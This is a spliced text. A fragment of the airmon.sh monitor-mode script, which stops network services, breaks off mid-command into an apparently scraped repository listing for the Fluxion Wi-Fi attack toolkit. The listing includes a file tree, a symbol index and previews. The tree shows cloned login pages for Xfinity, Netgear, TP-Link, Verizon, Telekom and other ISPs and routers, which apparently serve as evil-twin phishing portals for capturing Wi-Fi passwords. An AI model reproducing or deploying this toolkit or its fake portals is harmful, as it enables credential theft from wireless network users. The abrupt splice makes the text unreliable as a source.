IW_SOURCE="https://www.kernel.org/pub/software/network/iw/iw-3.17.tar.xz"
IW_ERROR=""
UDEV_ISSUE=0

if [ -f "`which iw 2>&1`" ]
then
	USE_IW=1
fi

if [ "x$MON_PREFIX" = "x" ]
then
MON_PREFIX="mon"
fi

PROCESSES="wpa_action\|wpa_supplicant\|wpa_cli\|dhclient\|ifplugd\|dhcdbd\|dhcpcd\|NetworkManager\|knetworkmanager\|avahi-autoipd\|avahi-daemon\|wlassistant\|wifibox"
PS_ERROR="invalid"

usage() {
	printf "usage: `basename $0` <start|stop|check> <interface> [channel or frequency]\n"
	echo
	exit
}

startStdIface() {
	iwconfig $1 mode monitor >/dev/null 2>&1
	if [ ! -z $2 ]
	then
	    if [ $2 -lt 1000 ]
	    then
		iwconfig $1 channel $2 >/dev/null 2>&1
	    else
		iwconfig $1 freq "$2"000000 > /dev/null 2>&1
	    fi
	fi
	iwconfig $1 key off >/dev/null 2>&1
	ifconfig $1 up
	printf " (monitor mode enabled)"
}


stopStdIface() {
	ifconfig $1 down >/dev/null 2>&1
	iwconfig $1 mode Managed >/dev/null 2>&1
	ifconfig $1 down >/dev/null 2>&1
	printf " (monitor mode disabled)"
}

getModule() {
    if [ -f "/sys/class/net/$1/device/driver/module/srcversion" ]
    then
        srcver1=`cat "/sys/class/net/$1/device/driver/module/srcversion"`
        for j in `lsmod | awk '{print $1}' | grep -v "^Module$"`
        do
            srcver2="`modinfo $j 2>/dev/null | grep srcversion | awk '{print $2}'`"
            if [ $srcver1 = "$srcver2" ]
            then
                MODULE=$j
                break
            fi
        done
    else
        MODULE=""
    fi
#    return 0
}

getDriver() {
   if [ -e "/sys/class/net/$1/device/driver" ]
   then
       DRIVER="`ls -l "/sys/class/net/$1/device/driver" | sed 's/^.*\/\([a-zA-Z0-9_-]*\)$/\1/'`"
       BUS="`ls -l "/sys/class/net/$1/device/driver" | sed 's/^.*\/\([a-zA-Z0-9_-]*\)\/.*\/.*$/\1/'`"
   else
       DRIVER=""
       BUS=""
   fi
   if [ x$(echo $DRIVER | grep ath5k) != "x" ]
   then
       DRIVER="ath5k"
   fi
   if [ x$(echo $DRIVER | grep ath9k) != "x" ]
   then
       DRIVER="ath9k"
   fi
   if [ x$DRIVER = "x" ]
   then
	if [ -d /sys/class/net/tiwlan0/wireless ]
	then
		DRIVER=WiLink
	fi
   fi

}

scanProcesses() {
    if [ -f "`which service 2>&1`" ] && [ x"$1" = "xkill" ]
    then
    	service network-manager stop 2>/dev/null >/dev/null
 	service avahi-daemon stop 2>/dev/null >/dev/null
    fi

    match=`ps -A -o comm= | grep $PROCESSES | grep -v grep | wc -l`
    if [ $match -gt 0 -a x"$1" != "xkill" ]
    then
        printf "\n\n"
        echo "Found $match processes that could cause trouble."
        echo "If airodump-ng, aireplay-ng or airtun-ng stops working after"
        echo "a short period of time, you may want to kill (some of) them!"
        echo -e "\nPID\tName"
    else
        if [ x"$1" != "xkill" ]
        then
            return
        fi
    fi

    if [ $match -gt 0 -a x"$1" = "xkill" ]
    then
        echo "Killing all those processes..."
    fi

    i=1
    while [ $i -le $match ]
    do
        pid=`ps -A -o pid= -o comm= | grep $PROCESSES | grep -v grep | head -n $i | tail -n 1 | awk '{print $1}'`
        pname=`ps -A
Download .txt
gitextract_6k3b4_6k/

├── LICENSE
├── README.md
├── _config.yml
├── docs/
│   ├── LICENSE
│   └── changelog
├── fluxion.sh
├── install/
│   ├── add.py
│   ├── arch-install.sh
│   ├── install.sh
│   └── remove.py
├── language/
│   ├── bundle.sh
│   ├── ch
│   ├── cz
│   ├── en
│   ├── esp
│   ├── fr
│   ├── ger
│   ├── gr
│   ├── it
│   ├── ro
│   ├── source
│   ├── svn
│   └── tu
├── lib/
│   ├── airmon/
│   │   └── airmon.sh
│   ├── exitmode.sh
│   └── site/
│       └── index
├── locale/
│   ├── de_DE.py
│   └── en_EN.py
├── siteinstaller.py
└── sites/
    ├── Login-Xfinity/
    │   ├── Xfinity_files/
    │   │   ├── base.js
    │   │   ├── base_95x.js
    │   │   ├── common-min.css
    │   │   ├── common-min.js
    │   │   ├── json2.js
    │   │   ├── mib.js
    │   │   ├── mib2.js
    │   │   ├── print.css
    │   │   ├── underscore.js
    │   │   └── w
    │   ├── index.html
    │   └── upgrading.html
    ├── arris_esp/
    │   ├── ayuda.htm
    │   ├── error.html
    │   ├── final.html
    │   ├── index.htm
    │   ├── info.css
    │   ├── info.html
    │   └── info2.css
    ├── belkin_eng/
    │   ├── ayuda.htm
    │   ├── error.html
    │   ├── final.html
    │   ├── index.htm
    │   ├── info.css
    │   ├── info.html
    │   └── info2.css
    ├── fritzbox_de/
    │   ├── error.html
    │   ├── final.html
    │   └── index.html
    ├── fritzbox_en/
    │   ├── error.html
    │   ├── final.html
    │   └── index.html
    ├── fritzbox_eng/
    │   ├── error.html
    │   ├── final.html
    │   └── index.html
    ├── genenix_de/
    │   ├── error.html
    │   ├── final.html
    │   └── index.html
    ├── google_de/
    │   ├── error.html
    │   ├── final.html
    │   └── index.html
    ├── hts-cache/
    │   ├── doit.log
    │   ├── new.lst
    │   └── new.txt
    ├── huawei_eng/
    │   ├── ayuda.htm
    │   ├── error.html
    │   ├── final.html
    │   ├── index.htm
    │   ├── info.css
    │   ├── info.html
    │   └── info2.css
    ├── movistar_esp/
    │   ├── error.html
    │   ├── final.html
    │   ├── index.html
    │   └── styles/
    │       ├── components.css
    │       └── login.css
    ├── netgear/
    │   ├── Login-Netgear.zip_base64.txt
    │   ├── adv-wifi.htm
    │   └── css/
    │       ├── MNUAccess.css
    │       ├── button.css
    │       ├── help.css
    │       ├── jScrollPane.css
    │       ├── jquery.flexbox.css
    │       ├── jquery.jscrollpane.css
    │       ├── mainpage.css
    │       ├── menu.css
    │       ├── qos_tabs.css
    │       ├── scrollbar.css
    │       ├── standalone.css
    │       ├── table.css
    │       ├── table_noh.css
    │       └── tabs.css
    ├── netgear_eng/
    │   ├── ayuda.htm
    │   ├── error.html
    │   ├── final.html
    │   ├── index.htm
    │   ├── info.css
    │   ├── info.html
    │   └── info2.css
    ├── netgear_esp/
    │   ├── ayuda.htm
    │   ├── error.html
    │   ├── final.html
    │   ├── index.htm
    │   ├── info.css
    │   ├── info.html
    │   └── info2.css
    ├── neutra/
    │   ├── ara
    │   ├── bg
    │   ├── cn
    │   ├── cz
    │   ├── dan
    │   ├── en
    │   ├── esp
    │   ├── fr
    │   ├── ger
    │   ├── gr
    │   ├── he
    │   ├── hu
    │   ├── id
    │   ├── it
    │   ├── nl
    │   ├── no
    │   ├── pl
    │   ├── por
    │   ├── ro
    │   ├── rus
    │   ├── srb
    │   ├── svn
    │   ├── th
    │   └── tr
    ├── telekom/
    │   ├── Telekom Login-Dateien/
    │   │   ├── components.css
    │   │   └── login.css
    │   ├── error.html
    │   ├── final.html
    │   └── index.html
    ├── thehackingsage.txt
    ├── tplink/
    │   ├── Upgrade-TP-LINK.zip_base64.txt
    │   ├── error.html
    │   ├── final.html
    │   └── index.html
    ├── verizon/
    │   ├── Login-Verizon.zip_base64.txt
    │   └── Verizon.html
    ├── vodafone_esp/
    │   ├── ayuda.htm
    │   ├── error.html
    │   ├── final.html
    │   ├── index.htm
    │   ├── info.css
    │   ├── info.html
    │   └── info2.css
    ├── ziggo2_nl/
    │   ├── error.html
    │   ├── final.html
    │   └── index.html
    └── ziggo_nl/
        ├── error.html
        ├── final.html
        └── index.html
Download .txt
SYMBOL INDEX (258 symbols across 8 files)

FILE: locale/de_DE.py
  class language (line 4) | class language():

FILE: locale/en_EN.py
  class language (line 4) | class language():

FILE: siteinstaller.py
  class color (line 20) | class color:
  function main (line 32) | def main(argv):
  function check_fluxion (line 89) | def check_fluxion():
  function welcome (line 138) | def welcome():
  function insert_at_secondlast_pos1 (line 189) | def insert_at_secondlast_pos1():
  function insert_at_secondlast_pos2 (line 203) | def insert_at_secondlast_pos2():
  function last_option_correct_number2 (line 209) | def last_option_correct_number2():
  function insert_at_last_pos3 (line 219) | def insert_at_last_pos3():

FILE: sites/Login-Xfinity/Xfinity_files/base.js
  function supports_html5_storage (line 10) | function supports_html5_storage() {
  function getSessionStorage (line 18) | function getSessionStorage(key) {
  function setSessionStorage (line 23) | function setSessionStorage(key,value) {
  function debug (line 30) | function debug(value) {
  function hardwareVersion (line 35) | function hardwareVersion(substring) {
  function customerId (line 43) | function customerId() {
  function userRadioControl (line 50) | function userRadioControl() {
  function language (line 57) | function language() {
  function clearLanguage (line 63) | function clearLanguage() {
  function isTwc (line 68) | function isTwc() {
  function isSuddenlink (line 71) | function isSuddenlink() {
  function loadMenus (line 76) | function loadMenus() {
  function menuVisible (line 107) | function menuVisible(s) {
  function submenuVisible (line 111) | function submenuVisible(s) {
  function pageEnabled (line 115) | function pageEnabled(s) {
  function fieldsetVisible (line 119) | function fieldsetVisible(s) {
  function createCookie (line 378) | function createCookie(name, value, seconds) {
  function updateCookieExpiration (line 387) | function updateCookieExpiration(name, seconds) {
  function readCookie (line 394) | function readCookie(name) {
  function eraseCookie (line 405) | function eraseCookie(name) {
  function htmlEscape (line 409) | function htmlEscape(s) {
  function getNextName (line 417) | function getNextName(base) {
  function buildTag (line 421) | function buildTag(thetag) {
  function parseLabel (line 499) | function parseLabel(label) {
  function helpTag (line 513) | function helpTag(label1, text) {
  function inlineButton (line 534) | function inlineButton(label1, onclick) {
  function inlineButtonRaw (line 537) | function inlineButtonRaw(label1, onclick) {
  function inlineButtonRaw2 (line 540) | function inlineButtonRaw2(label1, onclick,label2, onclick2) {
  function inlineButtonImage (line 543) | function inlineButtonImage(label1, image, onclick) {
  function formatter (line 548) | function formatter(args) {
  function textFormatter (line 574) | function textFormatter(args) {
  function text (line 591) | function text(label1, fmt, helpText) {
  function text2 (line 624) | function text2(label1, fmt, sepText, helpText) {
  function rotext (line 649) | function rotext(label1, fmt) {
  function snmpText (line 658) | function snmpText(label1, val, size) {
  function snmpTextEdit (line 664) | function snmpTextEdit(label1, val, size) {
  function snmpTextArea (line 668) | function snmpTextArea(label1, val) {
  function snmpFieldset (line 675) | function snmpFieldset(label1, contents) {
  function form (line 679) | function form(label1, label2, contents) {
  function fieldset (line 687) | function fieldset(label1, contents) {
  function checkbox (line 694) | function checkbox(label1, onchange, helpText) {
  function checkbox4 (line 715) | function checkbox4(label1, label2,label3, label4) {
  function select (line 732) | function select(label1, vals, onchangefunc, selectedValue, helpText) {
  function select2 (line 761) | function select2(label1, vals, onchange, sepText) {
  function select2Optional (line 788) | function select2Optional(label1, vals, onchange, sepText, optionalCheckT...
  function ApplyButton (line 838) | function ApplyButton() {
  function buttons (line 844) | function buttons() {
  function dialog (line 853) | function dialog(id, title, elements, okName, okAction) {
  function prepareDialog (line 873) | function prepareDialog(id) {
  function getURLArgs (line 877) | function getURLArgs() {
  function getPage (line 891) | function getPage() {
  function goRebuild (line 899) | function goRebuild(tag) {
  function go (line 904) | function go(tag) {
  function buildShell (line 908) | function buildShell() {
  function afterBuild (line 1061) | function afterBuild(func) {
  function afterBuildOnce (line 1064) | function afterBuildOnce(func) {
  function afterApply (line 1069) | function afterApply(func) {
  function addCustomSetting (line 1074) | function addCustomSetting(s) {
  function handleError (line 1083) | function handleError(e) {
  function DoApply (line 1097) | function DoApply() {
  function Apply (line 1116) | function Apply() {
  function loginbuild (line 1123) | function loginbuild() {
  function disablePage (line 1152) | function disablePage() {
  function enableItem (line 1171) | function enableItem(id) {
  function render2 (line 1185) | function render2() {
  function render (line 1211) | function render() {
  function getSelectedLAN (line 1225) | function getSelectedLAN() {
  function selectLan (line 1230) | function selectLan() {
  function getSelectedBss (line 1244) | function getSelectedBss() {
  function selectBss (line 1250) | function selectBss() {
  function sectionIndex (line 1265) | function sectionIndex() {
  function canXlate (line 1281) | function canXlate(id) {
  function xlate (line 1284) | function xlate(id, arg1, arg2, arg3) {
  function helpText (line 1308) | function helpText(id) {
  function technicianOnly (line 1312) | function technicianOnly(id, value) {
  function updateDisabledState (line 1319) | function updateDisabledState(checkboxsel, inputsel, invert) {
  function setupCheck (line 1344) | function setupCheck(checkboxsel, inputsel, invert) {
  function todToInt (line 1357) | function todToInt(day1, day2, hour1, hour2) {
  function lowestBitSet (line 1391) | function lowestBitSet(tod, l, h) {
  function highestBitSet (line 1400) | function highestBitSet(tod, l, h) {
  function todToTimeString (line 1407) | function todToTimeString(tod, s_min, e_min) {
  function todToDayString (line 1419) | function todToDayString(tod) {
  function refresh (line 1434) | function refresh() {
  function isHexString (line 1445) | function isHexString(s) {
  function parseHexString (line 1459) | function parseHexString(hs) {
  function toHexString (line 1482) | function toHexString(a) {
  function stringToHex (line 1491) | function stringToHex(s) {
  function hexToString (line 1497) | function hexToString(s) {
  function toHexDig (line 1500) | function toHexDig(s, len) {
  function ipToHex (line 1508) | function ipToHex(v, sep) {
  function hexToIp (line 1519) | function hexToIp(v) {
  function macToHex (line 1537) | function macToHex(v) {
  function hexToMac (line 1545) | function hexToMac(v) {
  function ipv4ToHex (line 1568) | function ipv4ToHex(s) {
  function hexToIpv4 (line 1582) | function hexToIpv4(v) {
  function hexToIpv6 (line 1600) | function hexToIpv6(v) {
  function hexToIpv6x (line 1639) | function hexToIpv6x(v) {
  function ipv6ToHex (line 1668) | function ipv6ToHex(s) {
  function ipv6ToHexOrNull (line 1672) | function ipv6ToHexOrNull(s) {
  function test (line 1707) | function test(v) {
  function prefix (line 1727) | function prefix() {
  function nullIp (line 1790) | function nullIp(ip) {
  function hexIp (line 1794) | function hexIp() {
  function hexIpNotNull (line 1829) | function hexIpNotNull() {
  function TypedAddr (line 1840) | function TypedAddr(type,addr) {
  function typedAddr (line 1848) | function typedAddr() {
  function hexIpV6 (line 1880) | function hexIpV6() {
  function hexIpV6OrNull (line 1919) | function hexIpV6OrNull() {
  function hexIpV6orFQDN (line 1926) | function hexIpV6orFQDN() {
  function macAddr (line 1955) | function macAddr() {
  function intField (line 1975) | function intField() {
  function intRangeField (line 1986) | function intRangeField(lo, hi) {
  function intRangeFieldOrZero (line 1999) | function intRangeFieldOrZero(lo, hi) {
  function rangeCheck (line 2012) | function rangeCheck (msg, v, lo, hi) {
  function nullBugHack (line 2018) | function nullBugHack() {
  function ssid (line 2032) | function ssid() {
  function canConvertToASCII (line 2048) | function canConvertToASCII(s) {
  function convertHexStringToASCIIString (line 2053) | function convertHexStringToASCIIString(hexString) {
  function convertASCIIStringToHexString (line 2056) | function convertASCIIStringToHexString(asciiString) {
  function wepPassword (line 2067) | function wepPassword() {
  function stringToSnmpDate (line 2119) | function stringToSnmpDate(v) {
  function snmpDateToString (line 2135) | function snmpDateToString(v) {
  function tunnelOid (line 2150) | function tunnelOid(k) {
  function getFromTunnel (line 2158) | function getFromTunnel(name) {
  function tunnelTest (line 2185) | function tunnelTest() {
  function parseTunnelData (line 2194) | function parseTunnelData(d) {
  function validateIpOnSubnet (line 2247) | function validateIpOnSubnet(ip) {
  function convertToSnmpHex (line 2262) | function convertToSnmpHex(s) {
  function IPV6ToOid (line 2274) | function IPV6ToOid(v6) {
  function oidToIPV6 (line 2289) | function oidToIPV6(oid) {
  function getChannelList (line 2333) | function getChannelList() {
  function security_encryption (line 2344) | function security_encryption(mode, WEPencryptionmode, WPAalgorithm)
  function wirelessmode (line 2410) | function wirelessmode(i) {
  function wifi50mode (line 2441) | function wifi50mode(i) {
  function getWiFiIndex (line 2472) | function getWiFiIndex(band, SSID)
  function Parse_Page_Name (line 2610) | function Parse_Page_Name( org_url )
  function Waiting_Setting_And_Redirect (line 2615) | function Waiting_Setting_And_Redirect( url )

FILE: sites/Login-Xfinity/Xfinity_files/base_95x.js
  function uh_attrTable_init (line 128) | function uh_attrTable_init()
  function uh_getModel (line 182) | function uh_getModel()
  function uh_hasBattery (line 186) | function uh_hasBattery()
  function uh_hasWifi (line 190) | function uh_hasWifi()
  function uh_hasMoca (line 201) | function uh_hasMoca()
  function uh_hasDect (line 205) | function uh_hasDect()
  function encode (line 210) | function encode(o) {
  function getAttr (line 219) | function getAttr(name) {
  function isMG (line 222) | function isMG() {
  function is852 (line 225) | function is852() {
  function is95x (line 228) | function is95x() {
  function isIPV6 (line 231) | function isIPV6() {
  function getLanguages (line 234) | function getLanguages() {
  function userName (line 237) | function userName() {
  function isTechnician (line 240) | function isTechnician() {
  function isLoggedIn (line 243) | function isLoggedIn() {
  function snmpSet1 (line 286) | function snmpSet1(oid, value, type) {
  function shouldVerify (line 350) | function shouldVerify(oid, val) {
  function snmpSet1Async (line 387) | function snmpSet1Async(oid, value, type, func) {
  function snmpGet1 (line 414) | function snmpGet1(oid) {
  function xxxcompare (line 467) | function xxxcompare(a, b) {
  function openWaitDialog (line 491) | function openWaitDialog() {
  function closeWaitDialog (line 507) | function closeWaitDialog() {
  function doApplyAndRebootAsync (line 513) | function doApplyAndRebootAsync(applyNeeded, rebootNeeded, refreshNeeded) {
  function snmpGet (line 565) | function snmpGet(sa) {
  function snmpMultiGet (line 598) | function snmpMultiGet(sa) {
  function snmpWalk (line 632) | function snmpWalk(sa) {
  function snmpMultiWalk (line 671) | function snmpMultiWalk(sa) {
  function login (line 704) | function login(name, password) {
  function logout (line 735) | function logout(sendMsg) {
  function changePassword (line 749) | function changePassword( name ,OldPassword, NewPassword ) {
  function logfilestore (line 771) | function logfilestore(logtype, idxStr) {
  function checkPassword (line 783) | function checkPassword(name, password ) {
  function getNonce (line 807) | function getNonce() {
  function wrapNonce (line 816) | function wrapNonce(url){
  function baseAjax (line 823) | function baseAjax(options){

FILE: sites/Login-Xfinity/Xfinity_files/common-min.js
  function ma (line 16) | function ma(){if(!c.isReady){try{s.documentElement.doScroll("left")}catc...
  function Qa (line 16) | function Qa(a,b){b.src?c.ajax({url:b.src,async:false,dataType:"script"})...
  function X (line 16) | function X(a,b,d,f,e,j){var i=a.length;if(typeof b==="object"){for(var o...
  function J (line 16) | function J(){return(new Date).getTime()}
  function Y (line 16) | function Y(){return false}
  function Z (line 16) | function Z(){return true}
  function na (line 16) | function na(a,b,d){d[0].type=a;return c.event.handle.apply(b,d)}
  function oa (line 16) | function oa(a){var b,d=[],f=[],e=arguments,j,i,o,k,n,r;i=c.data(this,"ev...
  function pa (line 16) | function pa(a,b){return"live."+(a&&a!=="*"?a+".":"")+b.replace(/\./g,"`"...
  function qa (line 16) | function qa(a){return!a||!a.parentNode||a.parentNode.nodeType===11}
  function ra (line 16) | function ra(a,b){var d=0;b.each(function(){if(this.nodeName===(a[d]&&a[d...
  function sa (line 16) | function sa(a,b,d){var f,e,j;b=b&&b[0]?b[0].ownerDocument||b[0]:s;if(a.l...
  function K (line 16) | function K(a,b){var d={};c.each(va.concat.apply([],va.slice(0,b)),functi...
  function wa (line 16) | function wa(a){return"scrollTo"in a&&a.document?a:a.nodeType===9?a.defau...
  function d (line 16) | function d(f){f=c.event.fix(f);f.type=b;return c.event.handle.call(this,f)}
  function a (line 16) | function a(g){for(var h="",l,m=0;g[m];m++){l=g[m];if(l.nodeType===3||l.n...
  function b (line 16) | function b(g,h,l,m,q,p){q=0;for(var v=m.length;q<v;q++){var t=m[q];if(t)...
  function d (line 16) | function d(g,h,l,m,q,p){q=0;for(var v=m.length;q<v;q++){var t=m[q];if(t)...
  function f (line 16) | function f(u){return c.nodeName(u,"table")?u.getElementsByTagName("tbody...
  function i (line 16) | function i(){e=b==="width"?a.offsetWidth:a.offsetHeight;f!=="border"&&c....
  function b (line 16) | function b(){e.success&&e.success.call(k,o,i,x);e.global&&f("ajaxSuccess...
  function d (line 16) | function d(){e.complete&&e.complete.call(k,x,i);e.global&&f("ajaxComplet...
  function f (line 16) | function f(q,p){(e.context?c(e.context):c.event).trigger(q,p)}
  function d (line 16) | function d(i,o){if(c.isArray(o))c.each(o,function(k,n){b||/\[\]$/.test(i...
  function f (line 16) | function f(i,o){o=c.isFunction(o)?o():o;e[e.length]=encodeURIComponent(i...
  function f (line 16) | function f(j){return e.step(j)}
  function handle (line 16) | function handle(){if(validator.settings.submitHandler){if(validator.subm...
  function delegate (line 16) | function delegate(event){var validator=$.data(this[0].form,"validator");...
  function setupLeftNavigation (line 16) | function setupLeftNavigation(selectedNavElement){if(typeof selectedNavEl...
  function setupBatteryIndicator (line 16) | function setupBatteryIndicator(){var battery=$("li.battery").text().matc...
  function setupEducationalTip (line 16) | function setupEducationalTip(){if($("#educational-tip:has(.hidden)").len...
  function setupFirewallDisplay (line 16) | function setupFirewallDisplay(){var $link=$("#security-level label");var...
  function setupDeleteConfirmDialogs (line 16) | function setupDeleteConfirmDialogs(){$("a.confirm").click(function(e){e....
  function setupFormValidation (line 16) | function setupFormValidation(){$.validator.setDefaults({errorElement:"p"...
  function setupTooltipInHeader (line 16) | function setupTooltipInHeader(){$("#status li").mouseenter(function(){$(...

FILE: sites/Login-Xfinity/Xfinity_files/json2.js
  function f (line 168) | function f(n) {
  function quote (line 209) | function quote(string) {
  function str (line 227) | function str(key, holder) {
  function walk (line 410) | function walk(holder, key) {

FILE: sites/Login-Xfinity/Xfinity_files/mib.js
  function appendMulti_OID (line 17) | function appendMulti_OID(obj_in)
  function MIB_dumpArray (line 29) | function MIB_dumpArray(MIB_Arrays)      //Debug
  function MIB_objSort (line 41) | function MIB_objSort(MIB_objs)  //Sequence Array only
  function MIB_JSON2Str (line 111) | function MIB_JSON2Str(MIB_objs)
  function MIB_reduceArray (line 144) | function MIB_reduceArray(MIB_Result)
  function alphanumeric (line 156) | function alphanumeric(alphane)
  function MIB_BatchLoad (line 172) | function MIB_BatchLoad(MIB_objs,force_multi)
  function MIB_objSize (line 244) | function MIB_objSize(MIB_objs)
  function isArray (line 254) | function isArray(what) {
  function MIB_objAppend (line 258) | function MIB_objAppend(MIB_objs,MIB_objs_2,force_multi)
  function bulkLoad (line 281) | function bulkLoad(load_func) {
  function sliceOid (line 301) | function sliceOid(oid, start, end) {
  function afterLoad (line 329) | function afterLoad(f) {
  function load1 (line 335) | function load1(f, json) {
  function loadLogger (line 350) | function loadLogger(l) {
  function load (line 356) | function load() {
  function loadFake (line 386) | function loadFake() {
  function loadOids (line 393) | function loadOids(oa) {
  function store (line 415) | function store() {
  function listAccessed (line 420) | function listAccessed() {
  function decodeOid (line 426) | function decodeOid(oid) {
  function decodeOid (line 440) | function decodeOid(oid) {
  function dumpOidsRead (line 456) | function dumpOidsRead() {
  function oidValuesEqual (line 463) | function oidValuesEqual(a,b) {
  function Container (line 471) | function Container(name, oid) {
  function Table (line 504) | function Table(name, oid) {
  function Scalar (line 778) | function Scalar(name, oid, type, compo) {
  function Column (line 856) | function Column(name, oid, type, compo) {
  function dumpInC (line 3795) | function dumpInC() {
  function oidIsRowStatus (line 3837) | function oidIsRowStatus(oid) {
  function loadRowStatus (line 3845) | function loadRowStatus() {
  function getLan (line 3857) | function getLan(index) {
  function getLanName (line 3875) | function getLanName(lan) {
  function getBss (line 3881) | function getBss(index) {
  function getBssName (line 3903) | function getBssName(bss) {
  function flushBss (line 3907) | function flushBss() {
Condensed preview — 164 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (2,343K chars).
[
  {
    "path": "LICENSE",
    "chars": 1064,
    "preview": "MIT License\n\nCopyright (c) 2018 Mr. SAGE\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\no"
  },
  {
    "path": "README.md",
    "chars": 2725,
    "preview": "# Fluxion by Mr. SAGE \n\n<p align=\"center\"><img src=\"https://github.com/thehackingsage/Fluxion/blob/master/logos/Logo.png"
  },
  {
    "path": "_config.yml",
    "chars": 26,
    "preview": "theme: jekyll-theme-hacker"
  },
  {
    "path": "docs/LICENSE",
    "chars": 35141,
    "preview": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free "
  },
  {
    "path": "docs/changelog",
    "chars": 436,
    "preview": "----------------------- General ----------------------- \nrevision=1\nModified by Mr. SAGE (@thehackingsage)\n\n------------"
  },
  {
    "path": "fluxion.sh",
    "chars": 104337,
    "preview": "#!/bin/bash\n\n########## DEBUG Mode ##########\nif [ -z ${FLUX_DEBUG+x} ]; then FLUX_DEBUG=0\n    else FLUX_DEBUG=1\nfi\n####"
  },
  {
    "path": "install/add.py",
    "chars": 298,
    "preview": "#!/usr/bin/python\n\nfrom os import system\n\ncommands = [\n    \"apt-key adv --keyserver pgp.mit.edu --recv-keys ED444FF07D8D"
  },
  {
    "path": "install/arch-install.sh",
    "chars": 10382,
    "preview": "#!/bin/bash\n\n########## DEBUG Mode ##########\n##                            ##\nif [ -z ${INSTALLER_DEBUG+x} ]; then INST"
  },
  {
    "path": "install/install.sh",
    "chars": 11001,
    "preview": "#!/bin/bash\n\n########## DEBUG Mode ##########\n##                            ##\nif [ -z ${INSTALLER_DEBUG+x} ]; then INST"
  },
  {
    "path": "install/remove.py",
    "chars": 588,
    "preview": "#!/usr/bin/python\n\nfrom os import remove\n\ninfile = \"/etc/apt/sources.list\"\noutfile = \"/etc/apt/sources.list\"\n\ndelete_lis"
  },
  {
    "path": "language/bundle.sh",
    "chars": 983,
    "preview": "\n#EN\nsource $WORK_DIR/sites/neutra/en\n\n#GER\nsource $WORK_DIR/sites/neutra/ger\n\n#ESP\nsource $WORK_DIR/sites/neutra/esp\n\n#"
  },
  {
    "path": "language/ch",
    "chars": 1855,
    "preview": "setinterface_error=\"没有检测到网卡 退出...\"\n\t# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n\thea"
  },
  {
    "path": "language/cz",
    "chars": 2498,
    "preview": "header_setinterface=\"Vyberte rozhraní\"\n\tsetinterface_error=\"Žádná síťová rozhraní, zavíraní...\"\n\n\t# >>>>>>>>>>>>>>>>>>>>"
  },
  {
    "path": "language/en",
    "chars": 2494,
    "preview": "header_setinterface=\"Select an interface\"\n\tsetinterface_error=\"There are no wireless cards, quit...\"\n\n\t# >>>>>>>>>>>>>>>"
  },
  {
    "path": "language/esp",
    "chars": 2056,
    "preview": "header_setinterface=\"Seleccione una interfase\"\n    setinterface_error=\"No hay tarjetas inalambricas, saliendo...\"\n\n    #"
  },
  {
    "path": "language/fr",
    "chars": 2787,
    "preview": "header_setinterface=\"Sélectionnez une interface\"\n    setinterface_error=\"Pas de carte wifi detecté, fin...\"\n\n    # >>>>>"
  },
  {
    "path": "language/ger",
    "chars": 2801,
    "preview": "header_setinterface=\"Wähle deine Netzwerkkarte aus\"\n\tsetinterface_error=\"Es wurden keine Netzwerkkarten gefunden, beende"
  },
  {
    "path": "language/gr",
    "chars": 2794,
    "preview": "    header_setinterface=\"Επιλέξτε μία διεπαφή\"\n    setinterface_error=\"Δεν υπάρχουν ασύρματες κάρτες δικτύου, έξοδος...\""
  },
  {
    "path": "language/it",
    "chars": 2108,
    "preview": "header_setinterface=\"Seleziona un'interfaccia\"\n    setinterface_error=\"Nessuna scheda di rete trovata, chiusura...\"\n\n   "
  },
  {
    "path": "language/ro",
    "chars": 2051,
    "preview": "    header_setinterface=\"Selecteaza o interfata\"\n    setinterface_error=\"Nu este nici o placa de retea wireless, iesire."
  },
  {
    "path": "language/source",
    "chars": 983,
    "preview": "\n#EN\nsource $WORK_DIR/sites/neutra/en\n\n#GER\nsource $WORK_DIR/sites/neutra/ger\n\n#ESP\nsource $WORK_DIR/sites/neutra/esp\n\n#"
  },
  {
    "path": "language/svn",
    "chars": 2531,
    "preview": "header_setinterface=\"Izberite vmesnik\"\n\tsetinterface_error=\"Tukaj ni nobenega primernega vmesnika, zapiram....\"\n\n\t# >>>>"
  },
  {
    "path": "language/tu",
    "chars": 1994,
    "preview": "header_setinterface=\"Bir Ag Secin\"\n    setinterface_error=\"Wireless adaptorunuz yok, program kapatiliyor...\"\n\n    #\n    "
  },
  {
    "path": "lib/airmon/airmon.sh",
    "chars": 34479,
    "preview": "#!/bin/sh\n\nUSERID=\"\"\nIFACE=\"\"\nKISMET=/etc/kismet/kismet.conf\nCH=$3; [ x$3 = \"x\" ] && CH=10\nIFACE_FOUND=\"false\"\nMADWIFI=0"
  },
  {
    "path": "lib/exitmode.sh",
    "chars": 3786,
    "preview": "function exitmode {\n    if [ $FLUX_DEBUG != 1 ]; then\n        conditional_clear\n        top\n        echo -e \"\\n\\n\"$white"
  },
  {
    "path": "lib/site/index",
    "chars": 170679,
    "preview": "echo \"UEsDBAoAAAAAAEQCTUkAAAAAAAAAAAAAAAAEAAAAY3NzL1BLAwQUAAAACACyuUxJ8qGcyENfAABp\nKgMAHwAAAGNzcy9qcXVlcnkubW9iaWxlLTEuN"
  },
  {
    "path": "locale/de_DE.py",
    "chars": 1231,
    "preview": "# -*- coding: cp852 -*-\n\n#de_DE Locale\nclass language():\n    VERSION='Version'\n    CREATING_BACKUP='Erstelle Sicherung'\n"
  },
  {
    "path": "locale/en_EN.py",
    "chars": 1225,
    "preview": "# -*- coding: cp852 -*-\n\n#en_EN Locale\nclass language():\n    VERSION='Version'\n    CREATING_BACKUP='Creating backup'\n   "
  },
  {
    "path": "siteinstaller.py",
    "chars": 9651,
    "preview": "#!/usr/bin/env python\n# -*- coding: cp852 -*-\n\nimport sys\nimport getopt\nimport os\nimport subprocess\nsys.path.insert(0, '"
  },
  {
    "path": "sites/Login-Xfinity/Xfinity_files/base.js",
    "chars": 76972,
    "preview": "//Copyright 2011-2012, ARRIS Group, Inc., All rights reserved.\nvar _afterBuild = new Array();\nvar _afterApply = new Arra"
  },
  {
    "path": "sites/Login-Xfinity/Xfinity_files/base_95x.js",
    "chars": 21566,
    "preview": "//Copyright 2011-2012, ARRIS Group, Inc., All rights reserved.\nvar attrs = {\n    //Model:\"GW\",\n    Family:\"950\",\n    //M"
  },
  {
    "path": "sites/Login-Xfinity/Xfinity_files/common-min.css",
